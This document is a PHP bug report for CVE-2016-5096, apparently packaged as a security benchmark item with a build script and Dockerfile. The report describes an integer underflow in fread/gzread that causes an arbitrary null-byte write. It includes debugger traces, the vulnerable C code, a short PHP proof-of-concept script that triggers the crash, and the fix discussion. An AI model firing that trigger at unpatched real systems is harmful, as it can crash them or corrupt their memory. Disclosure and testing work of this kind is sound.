Project: php-src (php/php-src), language: c++
Vulnerability instance: php.cve-2016-5096
Sanitizer: address

================= Bug Report (1/1) ==================
## Source: PHP Bugs
## URL: https://bugs.php.net/bug.php?id=72114
## Description:
PHP Bug ID: 72114
Summary: Integer underflow / arbitrary null write in fread/gzread
Status: Closed
PHP Version: 5.5.35
Assigned: stas (profile)
CVE-ID: 2016-5096

Description:
Description:
------------
Run the test script with ASAN. I could only reproduce this on a 64 bit environment.


  PHPAPI PHP_FUNCTION(fread)
{
        zval *res;
        long len;
        php_stream *stream;

        if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rl", &res, &len) == FAILURE) {
                RETURN_FALSE;
        }

        PHP_STREAM_TO_ZVAL(stream, &res);

        if (len <= 0) {
                php_error_docref(NULL TSRMLS_CC, E_WARNING, "Length parameter must be greater than 0");
                RETURN_FALSE;
        }

        Z_STRVAL_P(return_value) = emalloc(len + 1);
        Z_STRLEN_P(return_value) = php_stream_read(stream, Z_STRVAL_P(return_value), len);

        /* needed because recv/read/gzread doesnt put a null at the end*/
        Z_STRVAL_P(return_value)[Z_STRLEN_P(return_value)] = 0;  # Integer Underflow and null write
        Z_TYPE_P(return_value) = IS_STRING;
}


(gdb) run gzread2.php 
Starting program: /home/operac/php/php-56/sapi/cli/php gzread2.php

Program received signal SIGSEGV, Segmentation fault.
0x0000000000727b66 in zif_fread (ht=2, return_value=0x7ffff7fd7d00, return_value_ptr=0x7ffff7fa21c8, this_ptr=0x0, return_value_used=0)
    at /home/operac/php/php-56/ext/standard/file.c:1769
1769            Z_STRVAL_P(return_value)[Z_STRLEN_P(return_value)] = 0;
(gdb) print (*return_value)
$2 = {value = {lval = 140735140003952, dval = 6,9532397838610798e-310, str = {val = 0x7fff74070070 "", len = -2147483648}, ht = 0x7fff74070070, 
    obj = {handle = 1946615920, handlers = 0x5a5a5a5a80000000}, ast = 0x7fff74070070}, refcount__gc = 1, type = 0 '\000', is_ref__gc = 0 '\000'}
(gdb) print (*return_value).value.str.len
$1 = -2147483648


-----------
ASM:

   0x727b45 <zif_fread+336>:    callq  0x7ef31b <_php_stream_read>
   0x727b4a <zif_fread+341>:    mov    %eax,%edx
   0x727b4c <zif_fread+343>:    mov    -0x50(%rbp),%rax
   0x727b50 <zif_fread+347>:    mov    %edx,0x8(%rax)
   0x727b53 <zif_fread+350>:    mov    -0x50(%rbp),%rax
   0x727b57 <zif_fread+354>:    mov    (%rax),%rdx
   0x727b5a <zif_fread+357>:    mov    -0x50(%rbp),%rax
   0x727b5e <zif_fread+361>:    mov    0x8(%rax),%eax
   0x727b61 <zif_fread+364>:    cltq                       # converts the value to 64 bits      
   0x727b63 <zif_fread+366>:    add    %rdx,%rax
=> 0x727b66 <zif_fread+369>:    movb   $0x0,(%rax)         # offset rax is negative here and causes an arbitrary null byte write
   0x727b69 <zif_fread+372>:    mov    -0x50(%rbp),%rax
   0x727b6d <zif_fread+376>:    movb   $0x6,0x14(%rax)
   0x727b71 <zif_fread+380>:    add    $0x68,%rsp
   0x727b75 <zif_fread+384>:    pop    %rbx
   0x727b76 <zif_fread+385>:    pop    %rbp
   0x727b77 <zif_fread+386>:    retq


I place a breakpoint on cltq and you can see when it's executed the rax value becomes negative, later this offset is used with the heap base to calculate the write address of the null byte. 

Breakpoint 1, 0x0000000000727b61 in zif_fread (ht=2, return_value=0x7ffff7fd7d00, return_value_ptr=0x7ffff7fa21c8, this_ptr=0x0, return_value_used=0) at /home/operac/php/php-56/ext/standard/file.c:1769
1769    /home/operac/php/php-56/ext/standard/file.c: No such file or directory.
(gdb) i r
rax            0x80000000       2147483648             # len parameter
rbx            0x3      3
rcx            0x0      0
rdx            0x7fff74070070   140735140003952        # heap pointer (emalloc return address)
rsi            0x7ffff7fdcc08   140737353993224
rdi            0x7ffff4070070   140737287487600
rbp            0x7fffffffa620   0x7fffffffa620
rsp            0x7fffffffa5b0   0x7fffffffa5b0
r8             0x0      0
r9             0x0      0
r10            0x7d3    2003
r11            0x246    582
r12            0x423ed0 4341456
r13            0x7fffffffe080   140737488347264
r14            0x0      0
r15            0x0      0
rip            0x727b61 0x727b61 <zif_fread+364>
eflags         0x206    [ PF IF ]
cs             0x33     51
ss             0x2b     43
ds             0x0      0
es             0x0      0
fs             0x0      0
gs             0x0      0
(gdb) si
0x0000000000727b63      1769    in /home/operac/php/php-56/ext/standard/file.c
(gdb) i r
rax            0xffffffff80000000       -2147483648   # cltq   (Convert Long To Quad)
rbx            0x3      3
rcx            0x0      0
rdx            0x7fff74070070   140735140003952      # heap pointer (emalloc return address)
rsi            0x7ffff7fdcc08   140737353993224
rdi            0x7ffff4070070   140737287487600
rbp            0x7fffffffa620   0x7fffffffa620
rsp            0x7fffffffa5b0   0x7fffffffa5b0
r8             0x0      0
r9             0x0      0
r10            0x7d3    2003
r11            0x246    582
r12            0x423ed0 4341456
r13            0x7fffffffe080   140737488347264
r14            0x0      0
r15            0x0      0
rip            0x727b63 0x727b63 <zif_fread+366>
eflags         0x206    [ PF IF ]
cs             0x33     51
ss             0x2b     43
ds             0x0      0
es             0x0      0
fs             0x0      0
gs             0x0      0
(gdb) si
0x0000000000727b66      1769    in /home/operac/php/php-56/ext/standard/file.c
(gdb) i r
rax            0x7ffef4070070   140732992520304      # heap pointer + len < heap pointer   !!
rbx            0x3      3
rcx            0x0      0
rdx            0x7fff74070070   140735140003952      # heap pointer (emalloc return address)
rsi            0x7ffff7fdcc08   140737353993224
rdi            0x7ffff4070070   140737287487600
rbp            0x7fffffffa620   0x7fffffffa620
rsp            0x7fffffffa5b0   0x7fffffffa5b0
r8             0x0      0
r9             0x0      0
r10            0x7d3    2003
r11            0x246    582
r12            0x423ed0 4341456
r13            0x7fffffffe080   140737488347264
r14            0x0      0
r15            0x0      0
rip            0x727b66 0x727b66 <zif_fread+369>
eflags         0x203    [ CF IF ]
cs             0x33     51
ss             0x2b     43
ds             0x0      0
es             0x0      0
fs             0x0      0
gs             0x0      0


Test script:
---------------
<?php

ini_set('memory_limit', "2500M");
$fp2 = fopen("/dev/zero", "r");
$var1=$fp2;
$var2=2147483648;
gzread($var1, $var2);


Expected result:
----------------
No crash

Actual result:
--------------
ASAN:SIGSEGV
=================================================================
==3500==ERROR: AddressSanitizer: SEGV on unknown address 0x7f7fc2573860 (pc 0x000001168928 bp 0x0fffe7a9c75c sp 0x7fff3d4e3ad0 T0)
    #0 0x1168927 in zif_fread /home/operac/php/php56asan/ext/standard/file.c:1769
    #1 0x1ae39b5 in zend_do_fcall_common_helper_SPEC /home/operac/php/php56asan/Zend/zend_vm_execute.h:558
    #2 0x198fd08 in execute_ex /home/operac/php/php56asan/Zend/zend_vm_execute.h:363
    #3 0x16e3228 in zend_execute_scripts /home/operac/php/php56asan/Zend/zend.c:1341
    #4 0x144093f in php_execute_script /home/operac/php/php56asan/main/main.c:2613
    #5 0x1aec405 in do_cli /home/operac/php/php56asan/sapi/cli/php_cli.c:994
    #6 0x448bc5 in main /home/operac/php/php56asan/sapi/cli/php_cli.c:1378
    #7 0x7f80c797982f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #8 0x4490b8 in _start (/home/operac/php/php56asan/sapi/cli/php+0x4490b8)

Comments:

[Comment 1] [2016-05-10 04:46 UTC] stas@php.net
Looks like a case of size_t/int confusion.

[Comment 2] [2016-05-10 04:58 UTC] stas@php.net
Fixed in security repo as abd159cce48f3e34f08e4751c568e09677d5ec9c and in https://gist.github.com/ba60b922906a9c5a685e104c7b7994a8
. Please verify.
Links: https://gist.github.com/ba60b922906a9c5a685e104c7b7994a8

[Comment 3] [2016-05-11 11:03 UTC] fernando at null-life dot com
Patch works. Thanks.

$ ./php/php-56/sapi/cli/php -n ./gzread.php

Warning: gzread(): Length parameter must be no more than 2147483647 in /home/fmunozs/gzread.php on line 8

Commit References:
abd159cce48f3e34f08e4751c568e09677d5ec9c

Build script:
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./buildconf --force
./configure \
        --enable-option-checking=fatal \
        --disable-libxml \
        --disable-dom \
        --disable-simplexml \
        --disable-xml \
        --disable-xmlreader \
        --disable-xmlwriter \
        --without-pear \
        --enable-exif \
        --disable-phpdbg \
        --disable-cgi
make -j$(nproc)

Dockerfile:
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool bison re2c make ca-certificates curl xz-utils dpkg-dev file libc-dev pkg-config libcurl4-openssl-dev libedit-dev libsqlite3-dev libssl-dev zlib1g-dev
RUN git clone https://github.com/php/php-src php-src
RUN git -C php-src checkout 95ed19ae28009aa7b3ed42d5760478de82640560
WORKDIR $SRC/php-src
COPY build.sh $SRC/

Additional files: